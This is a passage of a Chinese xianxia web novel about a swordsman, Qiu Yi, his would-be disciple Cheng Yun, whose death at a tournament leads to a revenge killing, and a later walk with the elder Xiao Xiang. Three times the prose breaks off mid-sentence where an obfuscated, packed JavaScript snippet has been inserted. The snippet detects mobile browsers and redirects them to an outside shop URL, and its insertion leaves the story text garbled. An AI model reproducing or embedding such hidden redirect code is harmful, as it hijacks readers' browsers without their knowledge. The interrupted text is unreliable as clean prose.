“‘春尘’,好名字……”萧湘抿茶水的动作一顿,将茶微微拿远,看向邓君回,“犹在舍得放人还出去历练了?” 顾人还是玄清宗宗主顾犹在的亲弟弟,两人虽为兄弟,但年纪差着七百多岁,修为更是远了好几个境界。 “不舍不行。”邓君回垂眸,“司马良辰算到修仙界要乱,许多大宗要就此灭门。犹在恐人还日后没有自保之力,赶都要赶着人还出去长大。” 司马良辰是玄清宗中在占卜之道上多有建树的一位长老,人虽不着调,但占卜起来从不含糊。往往这种权威人物占卜出修仙界有灾祸,便会即刻通知其他的大宗门,众宗话事人共聚一堂,探讨避祸之法。 “但本座并未收到符信。”萧湘说。 邓君回道:“犹在传信给段宗主了,应是没告诉你。此事关系重大,良辰去紫微宗协同众卜师测算,还没算出个具体解法。” “太清宗易数之法也可协助测算,怎不见有人去太清宗邀葛倾杯出山?” 太清宗被修仙界戏称为“道士宗”,因为门内修炼路数与凡间道士相近,信奉的天神也是凡间道士们信奉的天神。每个宗门总会有那么一两个在某一领域专精的修士,太清宗在占卜之道称得上厉害的,便是葛倾杯葛长老。 “……”邓君回抬眼,两双毫无温度的黑眸相视,他迟缓地眨了一下眼睛,“良辰的眼睛坏了。” 萧湘那张百年无波的脸上显露出一丝愕然。 一个擅长占卜的修士,若是因为占卜而坏了眼睛,那么说明这个修士窥见了天机,天道施以小惩,警告这名修士不准再探。 司马良辰若是因此坏了眼睛,便说明测算的修仙界大乱一事无误。紫微宗里有大把就算身死道消也要窥探天机的疯子,不必让太清宗的葛倾杯再出来冒这个险。 木几旁的两人相对沉默,不远处的云雾中有长剑破风声连响,一泼霜雪挥洒而来,又被卧云挡下。 萧湘伸手,接住从云雾中飘出的一片雪花。雪片上附着有细微灵力,他与这灵力的主人相处日久,能够分辨清楚这灵力所含的情绪。 ——“茫然”。 萧湘低声问:“我等能做些什么呢?” “精进修行,教导后辈,守护宗门。”邓君回 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“乖乖……行神道君不是不下仙门么,这是让谁给带下来了?” “哎哎,我昨日听我那在上清宗的姊妹说,前些时候太清宗的幽明道长去上清宗给行神道君送了枝雪红梅,把人给领走了。” “领哪去了?” “那铁定是领去太清了啊……” 正在千机卧云中和阵法蛮干的裘弈还不知道,“幽明一枝雪迷走行神”的离谱传言即将在修仙界传开——就算知道此事,他也不会发表什么看法,他认为谣言止于智者,但修仙界遍地傻子。 萧湘带他来千机卧云的意图,他知道。裘弈并非顽固,若是此行能证明他一直以来的观点是错误的,那他改就是了。 但他一直觉得自己这个观点没错。人在绝境中爆发出的力量可碾碎万难,经验应当从实战中吸取,若是不能够从战斗中总结经验,那证明这个人并不适合走这条道路,不应当强求此道。 可若是按照自己曾经的境遇来指点他人做事,那人日后遇上困境,会对自己察觉到的破局之法视而不见,转而在紧要关头去回想前人是如何应对的。若能渡过劫难还好,若是因此殒命,叫曾经为那人倾囊相授的师长该如何自处? 卧云阵中罡风肆虐,吹乱裘弈鬓边白发。他手持摧雪,看着眼前怎么也斩不断的连环阵,喃喃低语。 “叫吾,该如何自处……” …… 五百年前。 这时候的落樱顶还没有设下后来那样层层严密的结界,裘弈练剑时,总能察觉到有些小心翼翼的视线投射在自己身上——那些视线来自太清宗的小徒子们。 人人都说,裘弈长了一张能惹祸的好脸,裘弈也习惯了被人盯着脸看。他那时的年纪放在修仙界里还算得上年轻,修为却已至元婴,是人人称羡的天纵奇才。 天才要习惯被人注视,裘弈借助那些盯视自己的视线来锻炼自己的定力和恒心,他最初并未将前来围观的小徒子们都给赶走。 有一天,他注意到那些视线中,有一道一直在顺着自己的剑势游走,从来不在他的脸上停留。 被看见的地方,是自己最满意的所在,这才是令人开心的注视。裘弈天不亮时就在樱树下练剑,一直练到红日西斜,那道视线也一直盯着他的剑招,不曾移开。 那道视线在他的剑上看了三年,无论严寒酷暑,只要他起剑,那道视线总是会准时地落在他的剑锋上。裘弈在三年后的某个清晨,第一次看向那道视线的主人。 那是一名怀中抱剑的年轻弟子,名唤程云。 7. 如梦如幻 天色微明。这个时辰,落樱顶上只有二人,一为裘弈,一为程云。 裘弈停剑收势,转向程云用以藏身的那块山石,淡声问道:“你喜欢剑?” 山巅古樱,落花旖旎。落樱顶的景象很适合初见初识,为一切美好的开端装点如梦似幻的氛围。 程云左右看看,发现自己来的太早了,周边没有其他徒子,意识到裘弈是在对自己说话,连忙从山石之后转出来,向裘弈行礼,“喜欢剑……晚辈程云,三长老座下弟子,见过道君。” “谢英座下的弟子……”裘弈只记得本宗的三长老姓谢名英,性别为男,其他的一概不知,也没多追问,只是持剑向程云掠去,攻势稍缓,不似他平时与敌人搏杀那般迅疾。 见长老的长剑突然向自己袭来,程云面上闪过一瞬的惊讶,很快便反应过来,挥剑抵挡。 上清宗其他来围观行神道君练剑的徒子们发现,从那一天开始,行神道君不再是一个人练剑了,剑势也不再像从前那样只有残影,那一招一式为了让程云能接住,都放慢了许多,慢到他们也能够看清。 “道君,你这练的是什么剑法呀?” 程云把烤好的鱼递给身后靠在树上的裘弈,裘弈本想说自己不吃凡物,但他看着程云期待的双眼,哑然片刻,伸手接过了那条烤鱼。 木枝上被火烤黑的地方蹭脏了他的指尖,怀里的摧雪不满地嗡鸣一声,被裘弈压制下去。 “自创的剑法。”裘弈拿着鱼说道,“多实战,总结每一场教训,多练习能使自己战胜他人的招式。” “好厉害啊……道君的师父一定很会教徒子。”程云笑着说。 “那你呢?”裘弈突然问。 “什么?” “你练的是什么剑法?” “……”程云脸上的笑容忽然淡了,他嗫嚅好一会儿,低声说,“我也不知道,师父教的。” “势滞刻板,不懂变通。”裘弈冷声道,“你师父若是这个水准,不必奉他为师了,另寻良师罢。” 怀中摧雪与裘弈共识,此时传意给裘弈道:你师父都不教你,你怎么不另觅良师? 裘弈回道:吾师虽不授吾剑术,却不会不懂装懂,教吾一些破烂,而是助吾自行去探索剑道。 两人所过招式不下三千,裘弈洞察力惊人,在剑道上眼明如炬,早就看出程云行剑总是遵循着一些并不适用的剑招,但往往势急时,程云无意间显露出的自己的应对之法,要比那些循规蹈矩的剑招好上千百倍。 那些循规蹈矩的剑招是后天被人规训出来的,怕是程云的师父对剑道一窍不通,只会对着一些莫名其妙的剑谱教徒子,误人子弟。 “那我……能拜道君为师吗?”程云小心翼翼地问。 “吾不会教徒子。”裘弈拒绝道。 程云连忙说道:“能看着道君练剑,和道君过招,程云就已经受益匪浅了,不必再多教些什么!” 裘弈只是看着他,没有再说话,似是在考虑。 天色已晚,程云将点起来的火堆熄灭,向裘弈行一礼,便抱着剑离开落樱顶。 数年如一日,在那么多围观裘弈练剑的徒子中,程云总是每日第一个来到落樱顶的人,也是每日最后一个离开落樱顶的人。 红日沉入地底,有两只仙鹤落在裘弈身边,引颈瞧着裘弈手中的烤鱼。 裘弈从沉思中回神,感觉有绒羽拂过手背,他垂眸,将这条烤鱼赠予两只仙鹤。 …… “什么?你要将谢英的徒子占为己有?!”执法堂的长老吹胡子瞪眼地看着堂下肃立的裘弈。 “……”裘弈默然,片刻后开口纠正道,“是想要谢长老的徒子来亲自教导。谢长老是法修,对剑道一窍不通,莫要误人子弟。” 程云的天资不差,就是跟错了师长,若是换个适合的长辈来教导,也不至于学了十好几年,剑术还是那个差劲样子。 裘弈不觉得自己是适合程云的师长,但程云想要跟着他学剑,且令裘弈有些自负的一点是,上清宗内,若论剑道,无人及他。 “谁说老夫对剑道一窍不通!” 洪钟般的怒吼声从门口传入执法堂,带着高修者特有的威压,执法堂内许多修为较低的徒子承受不住这道威压,瞬间跪在了地上,有的更是被压迫着呕出一口血来。 裘弈面无表情地立在大堂中央,他的修为与门口的谢英持平,甚至隐隐有超越谢英的趋势,并不受威压的影响。 耳边响起接二连三的呕血声,裘弈那张百年无波的脸上罕见地出现了点表情,他微微蹙眉,释放剑修的霸道威压,将满堂的谢英威压席卷,全都压回谢英身上。 他冷声道:“这里是容你放肆的地方?” 背后的执法长老见状喝道:“行神!不可对长辈无礼!” “……”裘弈侧目看一眼右侧的小徒子们,见他们已经能够互相搀扶着站起来,便将自己的威压收了回来。 谢英脸色发黑,他释放威压本是想要给裘弈这个后辈一个下马威,谁知这后辈的修为已经在他之上,下马威没给成,反而丢了自己的面子。 执法长老见堂下两人都收了神通,便向闻讯而来的谢英询问道:“行神想向你讨要一名小徒子去教导,你意下如何啊?” 谢英冷哼一声,道:“不给!老夫的徒子,老夫自会教导,师承正统,还不比他这根杂毛会的多?!” “你说不给便不给?程云又不是个物件,怎不问他是否要转投入吾门下!”怀中摧雪剑剧烈振动,振声似怒,裘弈将想要从剑鞘中飞出来的摧雪摁住,冷眸瞧着七步外的谢英,“你又师从何处的正统,持剑,让吾见识见识。” 裘弈从未与上清宗内的高修者切磋过,导致部分人对于裘弈的认知还停留在“被外界传的很厉害的后生”上,有些高修者自认年纪大,修为高,便自视甚高,拎不清自己的实力究竟如何。 直到裘弈的剑尖抵在谢英的眉心,刺出一条血痕。 谢英不敌,恼羞成怒,“自己不知道收徒,抢别人养大的现成徒子,行神,你这手高哇!日后程云修为精进,便说是你教导的好;若是修为倒退成了个废物,便说是老夫将他的根基教坏!” “吾并未有此……”裘弈皱眉,话音未落,门口突然响起一声厉喝。 “行神住手!” 裘弈持摧雪的手停在原处,一动不动。他抬眸,看向执法堂的门口。 一个穿着相较起上清宗整体的仙子风格来说略有些破烂邋遢的中年男人跨入执法堂,垂在胸前的山羊胡乱糟糟地纠缠在一起,一双鹰隼似的眼睛直直地盯着裘弈,面色凶煞,似是要冲过来给裘弈一脚。 这男人便是裘弈的师父,当时的上清宗宗主,钱更渡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560579|142690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 钱更渡几步走到裘弈身边,往裘弈后脑勺上狠狠扇了一巴掌,若不是裘弈手稳,摧雪怕是要因为这一巴掌直接戳进谢英脑袋里。 谢英不可置信地看向钱更渡,“你到底是来教训你徒弟的,还是来杀我的?” “你这不是没死吗!”钱更渡不耐烦地冲谢英说完,转头摁下裘弈还握着摧雪的手,“收势,不准再打了。” 裘弈默默收剑,他垂眸看了一眼剑尖染血的摧雪,又突然将剑伸出去,往谢英的干净衣服上擦了几下,把自己的摧雪给擦干净。 谢英震怒,钱更渡挡在自家徒弟身前,惩戒似的拍了两下裘弈拿剑的手,但力道轻轻,看着就不疼。 这下谢英算是看出来了,钱更渡这老不死的就是过来护徒弟的,今天这执法堂里,别想有什么公道! 钱更渡转头看向自己身后沉默不语的关门弟子。 这小子平日里乖得很,少有在宗门里闹出这么大动静的时候,今日又是进了执法堂,又是跟门里的长老打起来了,不是有什么委屈,就是有什么很想要的东西。 他凑在裘弈耳边,小声说:“球球啊,为师才回来,还啥都不知道,你怎么来执法堂了?谢英那老不死的欺负你了?” 裘弈缓缓摇头,“吾想问谢英要名徒子,他不给。” “不给,你就抢啊,他又打不过你,你别当着执法长老的面抢就行,免得落人口舌。”钱更渡乐呵呵地环视了一遍周遭,问,“想要哪个小徒子啊?” 裘弈抬眼,看向站在谢英身后不远处的程云,对自家师父说道:“那个。” “练剑的啊……”程云怀中抱剑,钱更渡一眼便知道是怎么回事了。谢英是法修,对剑道了解的还不如他多,这程云若是天赋好,又有心向上修行,跟着谢英修炼绝对不是个好选择。 自家的徒弟自家清楚,以裘弈的秉性,绝对不会随意出手抢人,这个叫程云的小弟子一定是明确地跟裘弈说过想要转投在裘弈门下,裘弈又惜才,才来闹今日这么一出。 执法堂不光司掌一宗之中赏罚事务,还会在相对公正的前提下处理一些宗内纠纷。裘弈特地来执法堂要人,就是想要证明谢英的剑术不足以教导修剑的小徒子,要让程云以正当理由拜到他裘弈的门下。 闹这么一回,谢英剑术差劲已经是众人皆知的事了,虽然还不肯松□□人,但只要程云表达自己想要拜入裘弈门下的决心,那执法长老便会主持拜师,让程云安安稳稳地成为裘弈的弟子。 只是今日这执法堂内有宗主,宗主又是行神道君的师父,宗内多嘴多舌者怕是会向外传成裘弈靠宗主关系抢人弟子,怎么都要挨上点骂,增添一二污名。 钱更渡看向那名叫做程云的小弟子,问道:“你呢,是要继续当谢长老的弟子,还是转投到行神道君座下?” 全场人的视线瞬间集中到程云身上,等着程云开口。 程云缓缓转眼,见谢英就在不远处盯着他,眼睛里布满红血丝,为本就严厉的面容增添几分凶煞,仿佛他要是敢说一个“弟子想转投到行神道君座下”,谢英就能立马过来捅死他。 他又转眼,看向远处的行神道君。即使是在这样的场合下,裘弈的脸上依旧没有什么神情,和平日里一样,淡如水,冷如冰。 仿佛今日裘弈为他大闹执法堂,只是他幻想出来的景象一般。 8. 程毁云坠 “你想拜行神道君为师,做梦吧?道君从不收徒。” 程云和小师妹躺在草地上闲聊,闻言说道:“也不一定非是要拜师,我想跟着道君学本事,光是看着道君练剑,我能学到的东西就比师父教我的要多得多,还更实用。” 小师妹说道:“那你既然是要跟道君学本事,还是想法子拜到道君门下吧,不然你日后若是在道君的教导下成了一代剑仙,旁人都不知道你是跟道君学的本事,反而要去夸你师父教徒有道,让那臭老头狠狠虚荣一把,那道君多亏呀。” “你说的有道理,我想想办法。”程云点点头,又问小师妹,“师妹,你觉得道君此人如何?” “长得很好看呀,男人女人都喜欢他的脸。”小师妹笑道,“人也非常强,三百岁就已经是元婴期修为的大能,总是走在除魔卫道的最前头。许多大宗门都会被魔修骚扰,但咱们上清宗这一百来年一直安稳,就是因为道君在外除魔,打出了名头,魔修都知道要避着道君走,不然惹怒了道君,自己身死事小,魔宗被灭事大。‘雪阎罗’这个称号可不是白叫的!” “非常强的道君!”程云道。 “也是非常好的道君!”小师妹大声说完这句话,猛然反应过来什么,连忙捂住自己的嘴,小心翼翼地看了一圈周围,发现没有别人在场,这才松了一口气。 程云见状压低声音,小心翼翼地问道:“怎么了?” “你不要随便在门中长辈面前说道君好。”小师妹神神秘秘地说道,“很多大人都看道君不顺眼,你要是说道君好,会被他们罚的,说不定还要一起挨骂,只能说道君长得好看。” 程云自入门起就沉迷于剑道修炼,并不清楚宗门中的一些秘辛,闻言问道:“为什么大人都看道君不顺眼?” “忌忮咯。”小师妹耸肩道,“宗中许多长老耗尽成百上千年,修为也就那样了,阳寿将尽,再无前进的可能。而道君用三百年便已经到了他们穷极一生才能到达的高度,怎么可能不忌忮?上清宗历代出现的天才太少了,大家以为宗门是杂毛窝,同样的环境,这窝里竟长出了一根凤凰羽,很多自视甚高的前辈心里不平衡,就觉得是宗主资源倾斜,所以连带着看宗主也不顺眼。” “原来是这样……”程云若有所思。 “这话我只跟你说,你可以不要说出去叫旁人知道,不然我要被我爹训了。”小师妹从草地上爬起来,拍拍头发上的杂草屑,冲程云笑道,“我该回去练武了,明天见!” “欸!师妹稍等!”程云轻轻拉住小师妹的衣摆,“若是如此,我师父应当也很讨厌道君,我若是拜到道君座下,会不会……” “你师父不在意你还好,若是在意,那道君得天天挨骂咯。就算是你自愿转投他门,谢长老都得说成是道君抢他徒弟。”小师妹停下来说,“现在宗门里大部分关于道君的坏话,都出自谢长老之口。那个姓谢的老头子就是喜欢斤斤计较地针对人。” 程云哑然,他虽见识少,却也知道人言可畏的道理。 小师妹蹲身,瞧着程云呆愣的神色,笑问道:“怎么?不打算拜道君为师了么?” “……”程云黯然道,“道君不该因我担上更多的骂名。” “你心里已经有决断了,前程与所愿难以兼得,不要后悔自己的决定。”小师妹再次起身,想要离开。 程云又扯住小师妹的衣摆,“等等!” “又怎么啦?我真得去练拳啦!”小师妹不解地回头看他。 程云道:“我与师妹相识许久,却还不知师妹姓名与师承。” 小师妹鹅黄色的衣摆随风摇曳,轻拂在他的手上,像云雾,却比云雾要暖上许多。 “我呀,我叫钱玉妃,师承罗万劫前辈。”师妹笑着说道,“宗主就是我爹啦~” 玉妃师妹说过,他心中已有决断。 执法堂中,迎着百人注目,程云沉默半晌,终于开口道:“我……不改师承,谢道君厚爱。” 他向裘弈的方向郑重地行了一礼,随后便垂着脑袋看自己的鞋尖,不再有任何神情和动作。 裘弈不语,只是看着程云低垂的脑袋,他能察觉到,程云说这话不是情愿的。 难道是谢英逼迫程云这么说?裘弈正要开口让程云不要怕,今日有执法长老做主,但师父抬手,示意他不要再多言。 “既然程云不愿改师承,那今日的事便到此为止。”钱更渡转身,牵小孩似的拉住裘弈的手,将人往执法堂外拽,“我好不容易回来一遭,行神快随我去喝一杯。” “可……”裘弈在拉扯之中回头看程云,见程云还站在原地,谢英正在对程云斥责似的说着什么,不过那里设下了隔音结界,他听不见具体说了什么。 似是注意到他的注视,程云悄悄地抬头,向他这边看来。 那小弟子冲他几不可察地笑了笑,眼巴巴地,分明就是不舍。 ——可程云分明是想要好好习剑,为何…… “为何?”钱更渡嘬了一口烈酒,没心没肺地笑道,“那小弟子不想让谢英针对你呗,你是不知道,谢英背地里骂你骂的有多狠,偏生他辈分比我都要高一点,我还不能扇他的嘴。” 一瓣樱花从窗外飘来,落到面前的酒碗中。裘弈垂眸看着酒碗中的那片粉色,拎剑起身,轻声说道:“师父回见,吾回落樱顶练剑。” “诶!这酒你不尝一口?小拂衣特地带回来想给你尝尝!” “不了,师父喝。” “不解风情的臭小子……” 裘弈在落樱顶上一刻不停地练了三日的剑法,第三日傍晚时,察觉有一道熟悉的视线落在了自己的剑锋上。 他停剑,看向那块再熟悉不过的山石,“吾以为你不会再来。” 程云抱剑,讪笑着从山石后走出。 之后还是同从前一样,程云早出晚归地看裘弈练剑。有时来了兴致,裘弈便与程云切磋一番,将这小弟子打趴在地,再询问对方可有从方才那一战中学到什么。 好像一切都没有改变。 谢英对程云的管教越来越严,仿佛故意置气一般,不允许程云在剑术上有自己的理解,一定要按照他教的方法出剑,不然就说程云跑出去跟裘弈玩野了,连打带罚,弄得程云双手遍布伤痕,时常握不住剑。 程云手上的伤耽误了练剑,裘弈自然察觉到了,去找谢英要说法,但他又不是程云的谁,用什么名义要说法?谢英一句“老夫管教徒弟还轮不到你来插嘴”便将他堵了回去,最终不了了之。 后来,程云不再能一整日都在落樱顶看裘弈练剑,反而时常要待在谢英那里学刻板剑招,但若是逮到空闲时间,程云还是会偷偷去落樱顶偷师。 反正行神道君不下仙门,什么时候去,都能看见裘弈在落樱顶上,裘弈也从来不会吝啬于授剑——虽然都是程云在自己琢磨自己学。 一般一个专门练剑的宗门,只会流传有一种剑术,可能这种剑术下分有许多流派,但这些流派都各学各的,很少有人会把全部流派或是全部剑术都学一遍。 会的剑术多了,若非天资绝顶、融会贯通的奇才,他人容易迷失在多种剑术里,在面对危机时,会因为懂得的剑术太多,反而不知应当用何种剑术来应对险境。所以裘弈一直认为,剑道应从实战中习得,形成自己的流派。 意外发生的很快,快到就连裘弈也没有及时反应过来。 在一次上清宗与青云宗以友好交流为由召开的宗门徒子比试大会中,程云对阵青云宗的一名同阶用剑弟子。因为谢英就在现场观看的缘故,程云一直使用谢英教授的剑术来抵挡青云宗弟子的攻势,可谓是节节败退,毫无还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560580|142690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手之力。 那名青云宗弟子急于求胜,动了杀招。在裘弈的手底下练久了,程云能根据对方的动势总结出合适的出剑方式,他暂时停止了谢英所教的刻板剑术,转而欲用自己总结出的法子去应对迎面而来的杀招。 在场外关注着程云一举一动的裘弈见状,面上神情虽未变,但眼中前所未有地流露出了点欣慰。 另一边见状的谢英却怒不可遏,拍案怒吼道:“程云!你心野了!” 现场一直寂然无声,程云和那名青云宗弟子都让这一声蕴含威压的怒吼吓得不轻,程云慌了神,下意识地摆出谢英所授的剑法招式,而那名青云宗弟子没有及时收住手。 颈间血溅出去很远,在裘弈雪白的衣摆上点出两粒鲜红。 青云宗的那名弟子吓得把剑再从程云的脖颈中拔出,扔了剑抱住栽倒的程云,惶然无措地说着对不起,又哭着喊自家师母来救场。 现场顿时乱成一团,谁都料想不到一场小辈间的比试真的闹出了人命。裘弈看见程云落地时转头往他这边望来,那眼神不是求救,也不是怨怼。 只是痛苦又惶然地询问:道君,这种情况下,我该怎么办? 裘弈也不知。他很想上前去帮程云一把,但他不会救人。 他只会用剑,只会杀人。 那谢英见程云快不行了,也不知该怎么办,又恐自己刚刚大喝的那一声会被青云宗的人追责,连忙制造出一场更大的矛盾来转移众人的注意力。 他做出一副怒不可遏的样子,冲过去揪住裘弈的衣领,吼道:“都怪你!谁让你乱教他的?!若不是你乱教他,他会被那青云宗的小子给捅穿了喉咙?!!他先前用老夫教他的招式都应对的好好的,怎么偏偏换成你教的法子时就死了!!” 因为这一嗓子,全场的视线都凝聚到裘弈身上。 天才要习惯被人注视,但那天的视线仿佛都化作了一根根针刺,扎得裘弈好疼。 他想通过他对战局的观察以及对剑道的了解来给所有人分析程云到底为什么会被那明明能躲过的一击命中,但自己的视线好像黏在了程云不断涌血的伤口上,那伤口明明不在他的喉头,却令他无法言语。 那名青云宗弟子的师母擅长救治之术,但片刻后抬头哀叹一声,说道:“不行了,我吊着他的命,诸位师长还有什么想对他说的,快说吧。” 裘弈一把推开抓着自己的谢英,两步走到程云身边。他蹲身,一把冰剑迅速在他的手心凝结成形。 “吾给你报仇。”话落,裘弈用冰剑扎透了程云的心腔,给了程云一个痛快。 小徒子都很脆弱,无需搅毁其丹田,单单是一些命门受损,便能够要了他们的命。 三日后,谢英被徒子发现死于后山,丹田尽碎,脖颈被什么尖锐而形如棍的东西贯穿,查不出尸身上有可以指认凶手的残留痕迹。众人心里都有猜测凶手是谁,但无人敢议论,都怕自己成为下一具横于后山的尸体。 “学聪明了啊。”钱更渡扒了几粒花生米,搓掉红皮,放在小碟里,推到裘弈跟前,“知道杀人灭迹了。” 裘弈问道:“师父不怪吾?” “怪啥啊,老子早想弄死谢英了,这不是下手不干净,一直也没找着机会试试我和他的实力差距有多少嘛。”钱更渡又将装着花生米的碟子往裘弈跟前推了推,示意裘弈快尝尝,“能干出这次这种事来,我看他脑子不够清醒,再留着他,宗里的后生要让他给祸害完了。” 裘弈垂眸,看着小碟里的几粒花生,想说自己到了如今的修为,不应当再吃凡物,但犹豫片刻,还是拈起一粒来放入口中。 世事无常,今日还在的人,明日就可能奔赴黄泉。裘弈突然很后悔,自己多年前应当尝尝那条烤鱼的味道。 过了没多久,师父也不在人世了。 9. 假说真言 千机卧云中的剑锋砺刃声持续了半月有余,萧湘与邓君回在木几前也坐了半月有余,期间有许多玄清宗的小徒子来千机卧云请教修行事宜,萧湘正好在,帮着忙不过来的邓君回为玄清宗徒子们解疑答惑。 若说上清宗徒子畏惧师长、太清宗徒子敬畏师长,那么玄清宗徒子则是亲近师长,亲近到有些黏人,谁家的师长他们都亲近。高阶修士周身自带威压,但玄清宗的徒子们皆视威压如无物,能凑近高修者,便凑近了待着。 这点令萧湘感到有些奇怪,不过这修仙界的事都不能以常理来解释,萧湘心想,可能是玄清宗徒子们修炼的心法奇特,不太受威压影响。 “需要将破阵之法告诉行神么?”解答完了众徒子的疑惑,邓君回转头问萧湘,“时过半月,行神还未出阵。” “再等等罢。”萧湘将想要窜出剑鞘找徒子玩的逐星给摁回去,提高声音向前方的云雾堆里问,“行神,寻到出来的法子了么?” “未曾!”裘弈的声音自云雾中飘忽而出,“过去多久了?” “半月有余。” 在繁复阵法中试图以剑破阵的裘弈闻言停剑,静静地在原地站了一会儿。 他在思考。 按照以往的经验来讲,若要破阵,挥剑砍去阵型便可,但千机卧云中的阵法环环相扣,他斩去一层,后面的阵法能抗住斩去前一层的剑气,待他再挥剑想一鼓作气将那一处的阵法都砍断时,原先被他斩断的第一层阵法已经被其余阵法修补好,重新成为了阻拦他的主力。 这阵法修补的速度,比他出剑的速度要快。 心法重修给人带来的影响不容小觑,曾经的心法再不合适,他也用了八百来年,习惯难改,如今一朝更换心法,曾经的许多打法也得随之改换。 最开始,裘弈在千机卧云中研究如何破阵,后来发现破阵不易后又开始借着阵法来练剑,整改旧剑法,研究新剑招,编了一套小剑法出来,又去破阵,发现以自己现在的修为,竟不能一举将此阵破开。若不是设阵者的修为比他高,便是这阵专门用来对付剑修。 “……”裘弈转身问身后的云雾,“千机卧云,是顾宗主练出来的陨剑阵?” “算不上是陨剑阵,只是针对剑修一剑破阵的能力添了些应对法子。”邓君回的声音从云雾中飘出,“确实让犹在过来试了阵。” “那吾目前还破不了此阵。”裘弈收摧雪回鞘,直接认输,“待日后修为精进,再来向邓长老讨教。” 裘弈一生纵横剑界,在修仙界闻名的那些大剑修都被他挑战过了,到目前为止,只在二人身上没有分出过胜负,那二人一为萧湘,一为顾犹在。 剑修好战,若放在往常,裘弈见到与自己同级的陌生修士就想讨教,但萧湘看着对起战兴致缺缺,倒是对教导后辈很有兴趣,裘弈在太清宗时不会占用太多萧湘的时间,让萧湘能和往常一样跟宗中徒子交流,两人至今没有正式地分过胜负高底。 至于另一位玄清宗宗主顾犹在……顾犹在剑法缥缈,颇有古韵,自含熄心止战的剑意,和顾犹在比试会消减自己的战意,裘弈在顾犹在手上吃过一次教训后,就不再试图跟顾犹在分出胜负了。 他的好胜心太重,正是顾犹在剑法所克制的那类人。 向邓君回道别后,萧、裘二人走在出玄清宗的石板路上,裘弈偏头问身侧的萧湘:“你同顾宗主论过剑么?” “论过。顾宗主的剑法不适合同他人论剑。”萧湘避开落在石板路上的一只鸟雀,绕行后再和裘弈并肩,语气轻淡地继续说道,“那是本座与人论剑时,第一次产生了困意。” “深有同感。”裘弈感慨似的说完,突然想到顾宗主的剑法最克制好胜之人,萧湘能被顾宗主的剑意引导的昏昏欲睡,应当也是个很好胜的人。 他转头仔细瞧了瞧萧湘。 瞧着不像。萧湘更像个抛却了七情六欲的仙人,通身色系黑白分明,只有额中一条鹤红是抹艳色,把这位仙人点回凡尘,落在众生堆里。 落凡尘的仙人转眼,和他对上视线,语气略带疑惑地唤道:“道君?” 裘弈眨眨眼,回过神来。 “本座一直认为,人如果坚持一个观点,那个观点的成因一定对此人造成了极大的影响。”萧湘说道,“道君可以说说,是何原因使得道君不主张教授徒子应险之法么?” 山风忽起,将萧湘额角垂落的发丝拂动。石板路并不宽敞,两人并肩,站的极近,裘弈感觉脸颊上有些轻柔的痒意,应当是萧湘的发丝扫过,在此处徘徊摩挲。 他下意识抬手,将脸侧的那一缕墨发捉住。 萧湘的发丝细柔,瞧着和所持拂尘是同一质感。这么想着,裘弈下意识用指腹摩挲了一下手里冰冷的发丝。 好像根本没有意识到自己的行为有何不妥,只是想摸便摸了,摸完也不撒手,就拈着那一缕发丝,对方也没意识到这一行为有什么不妥,两人就那么对视着。 裘弈正要开口回答萧湘的疑问,忽听得两人身后有吸气声,两人闻声望去,见几个玄清宗的小徒子正跟在两人身后,一眨不眨地盯着裘弈那只握着萧湘发丝的手。 萧湘先一步反应过来,想到可能是两人挡住了徒子们的去路,于是挥动拂尘向裘弈示意了一下,率先向前路走去。 那一缕墨发从指间抽离,余冷并未立即消散,裘弈又回味似的捻了捻指腹,这才追上萧湘,两人继续并肩而行,只是脚步较先前要更快一些。 等两位前辈走出去好远,那群吸气的小徒子这才回过神来,其中一名徒子目瞪口呆地转头看向自己身侧的同门,似乎是想从同门的神情中得到一些认同——他刚刚看见的那一幕不是在做梦吧? 同门肯定地冲他摇了摇头:你不是在做梦。 捉住发丝揉玩这种事,放在凡间都是一件很暧昧的事,更何况高修者之间都很有距离感,最亲近的举动也不过是并肩而行,捻发丝太过亲密,连他们这些小辈之间都不会如此互动。 那些会如此互动的……都是有情人。 联系到两位前辈之间早就传开的“幽明一枝雪迷走行神”的传言,玄清宗的这些小徒子几乎要将两位前辈有段情一事实锤了。 修仙界娱乐活动匮乏,聊八卦成了修仙者们成本最低且最有意思的社交活动,身份显赫者的花边新闻在古往今来都是人们所津津乐道的事,恋爱故事更是人人爱听。 “香香和上清宗的那位行神道君出去多久了?”段衍问宗内的巡逻徒子。 巡逻徒子答道:“回宗主,香香长老和行神道君已有半月未归。” 段衍怀疑道:“他俩是私奔了吗?” “我也不知道啊。” 那徒子转头就断章取义,将自家宗主的吐槽扭曲意思后告知太清宗其他徒子。 “我听宗主说,上清宗的那位行神道君带着咱的香香长老私奔了。” “啊?不要啊,我还有修行方面的事想要向大长老询问。” “我听玄清宗的好友说,香香长老和行神道君在玄清宗……” 修仙界的某一处茶馆中,正在喝灵茶的一名年轻剑修动作顿住,听到邻桌人在谈论幽明道长和行神道君的二三事。 剑修听了一会儿,面色讶然,饮尽盏中灵茶,持剑起身,欲要离开。 坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 